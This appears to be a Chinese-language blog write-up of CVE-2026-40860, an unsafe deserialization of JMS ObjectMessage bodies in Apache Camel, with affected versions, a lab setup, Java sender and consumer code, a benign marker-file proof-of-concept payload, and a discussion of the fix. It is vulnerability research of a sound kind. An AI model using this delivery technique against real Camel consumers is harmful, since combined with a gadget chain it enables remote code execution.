Apache Camel JMS 反序列化(CVE-2026-40860)漏洞分析
Apache Camel JMS 反序列化(CVE-2026-40860)漏洞分析漏洞概述Apache Camel 的核心目标是把各种不同的系统、协议和数据格式“粘合”在一起。它实现了著名的企业集成模式(Enterprise Integration Patterns, EIP),比如拆分消息、聚合消息、动态路由等。受影响版本中,JmsBinding.extractBodyFromJms() 方法在
Apache Camel JMS 反序列化(CVE-2026-40860)漏洞分析
漏洞概述
Apache Camel 的核心目标是把各种不同的系统、协议和数据格式“粘合”在一起。它实现了著名的企业集成模式(Enterprise Integration Patterns, EIP),比如拆分消息、聚合消息、动态路由等。
受影响版本中,JmsBinding.extractBodyFromJms() 方法在处理 JMS ObjectMessage 时调用 javax.jms.ObjectMessage.getObject() 获取反序列化对象,但未应用任何 ObjectInputFilter、类允许列表或类拒绝列表进行安全校验。由于 mapJmsMessage 选项默认启用(true),当 Camel 作为 JMS 消费者时,攻击者可向队列或主题发布恶意 ObjectMessage,在类路径存在反序列化 gadget chain 的情况下实现远程代码执行。camel-sjms2(Sjms2Endpoint 扩展 SjmsEndpoint)、camel-amqp(AMQPJmsBinding 扩展 JmsBinding)以及基于 JmsComponent 构建的其他 JMS 组件(如 camel-activemq、camel-activemq6)均通过继承关系受到同一代码路径影响。
影响版本
- camel <4.18.2
- camel <4.20.0
- camel<4.14.7
环境搭建
这个漏洞的反序列化是发生在处理 JMS ObjectMessage 时,这里 camel 主要是用于接收消息,所以我们需要搭建三个程序,一个 sender 负责发送消息,一个 broker 负责接收消息并发送给 camel,最后就是 cmael-demo。
sender
这里只是分析漏洞就自定义了一个恶意的反序列化类,
package lab.sender;
import jakarta.jms.Connection;
import jakarta.jms.MessageProducer;
import jakarta.jms.ObjectMessage;
import jakarta.jms.Queue;
import jakarta.jms.Session;
import lab.payload.ProbePayload;
import org.apache.activemq.ActiveMQConnectionFactory;
public final class SenderMain {
private static final String DEFAULT_BROKER_URL = "tcp://localhost:61616";
private static final String DEFAULT_QUEUE_NAME = "camel.lab.object";
private SenderMain() {
}
public static void main(String[] args) throws Exception {
String brokerUrl = System.getProperty("broker.url", DEFAULT_BROKER_URL);
String queueName = System.getProperty("queue.name", DEFAULT_QUEUE_NAME);
String message = System.getProperty("probe.message", "hello-from-sender");
ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);
connectionFactory.setTrustAllPackages(true);
try (Connection connection = connectionFactory.createConnection()) {
connection.start();
try (Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE)) {
Queue queue = session.createQueue(queueName);
MessageProducer producer = session.createProducer(queue);
ProbePayload payload = new ProbePayload(message);
ObjectMessage objectMessage = session.createObjectMessage(payload);
producer.send(objectMessage);
System.out.println("[Sender] Sent ObjectMessage to queue: " + queueName);
System.out.println("[Sender] Broker URL: " + brokerUrl);
System.out.println("[Sender] Payload: " + payload);
}
}
}
}broker
这里选用 activemq classic,直接用 docker 搭建就可以了
services:
activemq:
image: apache/activemq-classic:5.19.2
container_name: camel-lab-activemq
ports:
- "61616:61616"
- "8161:8161"
cmael-demo
activemq classic 存在默认的反序列化白名单,这里 connectionFactory.setTrustAllPackages(true); 设置为默认信任所以包名,上面 sender 同理。如果用其他的比如 ActiveMQ Artemis,IBM MQ 做 broker 没有默认白名单,
package lab.camel;
import java.nio.file.Path;
import java.util.concurrent.CountDownLatch;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.component.jms.JmsComponent;
import org.apache.camel.impl.DefaultCamelContext;
public final class ConsumerMain {
private static final String DEFAULT_BROKER_URL = "tcp://localhost:61616";
private static final String DEFAULT_QUEUE_NAME = "camel.lab.object";
private ConsumerMain() {
}
public static void main(String[] args) throws Exception {
String brokerUrl = System.getProperty("broker.url", DEFAULT_BROKER_URL);
String queueName = System.getProperty("queue.name", DEFAULT_QUEUE_NAME);
String markerFile = System.getProperty(
"probe.marker",
Path.of("target", "probe-hit.txt").toAbsolutePath().toString());
System.setProperty("probe.marker", markerFile);
ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);
connectionFactory.setTrustAllPackages(true);
JmsComponent jmsComponent = JmsComponent.jmsComponentAutoAcknowledge(connectionFactory);
jmsComponent.setMapJmsMessage(true);
DefaultCamelContext context = new DefaultCamelContext();
context.addComponent("jms", jmsComponent);
context.addRoutes(new RouteBuilder() {
@Override
public void configure() {
from("jms:queue:" + queueName)
.routeId("object-message-consumer")
.process(exchange -> {
Object body = exchange.getIn().getBody();
String bodyClass = body == null ? "null" : body.getClass().getName();
System.out.println("[Consumer] Received body class: " + bodyClass);
System.out.println("[Consumer] Received body value: " + body);
System.out.println("[Consumer] Marker file: " + System.getProperty("probe.marker"));
});
}
});
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
try {
context.stop();
} catch (Exception ignored) {
}
}));
context.start();
System.out.println("[Consumer] Camel started with broker: " + brokerUrl);
System.out.println("[Consumer] Waiting on queue: " + queueName);
System.out.println("[Consumer] mapJmsMessage=true");
new CountDownLatch(1).await();
}
}漏洞复现
我们在 javax.jms.ObjectMessage.getObject()打上断点,然依次执行 camel-demo 和 sender 程序,成功到了 ActiveMQObjectMessage. getObject() 方法进行反序列化,
然后最后成功反序列化了我们的恶意类,
我们的恶意类的 readObject 方法是创建一个文件并写入发送的消息内容,
package lab.payload;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardOpenOption;
import java.time.Instant;
public final class ProbePayload implements Serializable {
private static final long serialVersionUID = 1L;
private final String message;
public ProbePayload(String message) {
this.message = message;
}
public String getMessage() {
return message;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
String markerFile = System.getProperty("probe.marker", "probe-hit.txt");
Path markerPath = Path.of(markerFile).toAbsolutePath();
Path parent = markerPath.getParent();
if (parent != null) {
Files.createDirectories(parent);
}
Files.writeString(
markerPath,
Instant.now() + " deserialized payload message=" + message + System.lineSeparator(),
StandardOpenOption.CREATE,
StandardOpenOption.APPEND);
System.out.println("[ProbePayload] readObject executed, marker file: " + markerPath);
}
@Override
public String toString() {
return "ProbePayload{message='" + message + "'}";
}
}漏洞分析
漏洞概述说得已经比较清楚了,直接定位到 JmsBinding.extractBodyFromJms() 方法,在接收到消息体后会调用 Object payload = objectMessage.getObject(); 去提取出其中的 java 对象,这里就会涉及到反序列化的操作
继续跟进来到 ActiveMQObjectMessage. getObject() 方法
追进这个 deserialize 方法,在这里面会调用到 readobject 方法,这里有两个方法会进行反序列化类检测
objIn.setTrustedPackages(this.trustedPackages);
objIn.setTrustAllPackages(this.trustAllPackages);第一个是一个白名单检测
但是这里设置信任所以包就不用管白名单了,最后直接把恶意类进行了反序列化。
漏洞修复
后续官方的修复新加了个 this.checkDeserializedClass(payload); 用于检查反序列化后的类是否在白名单里面,
默认的兜底白名单如下:
这个修复仅仅是为了防止恶意对象进入后续路由,如果不在白名单直接抛出异常
真正的反序列化拦截还是需要在 Provider/JVM 设置过滤器,因为 camel 没法获取到 ActiveMQ 内部的 ClassLoadingAwareObjectInputStream 去直接添加白名单。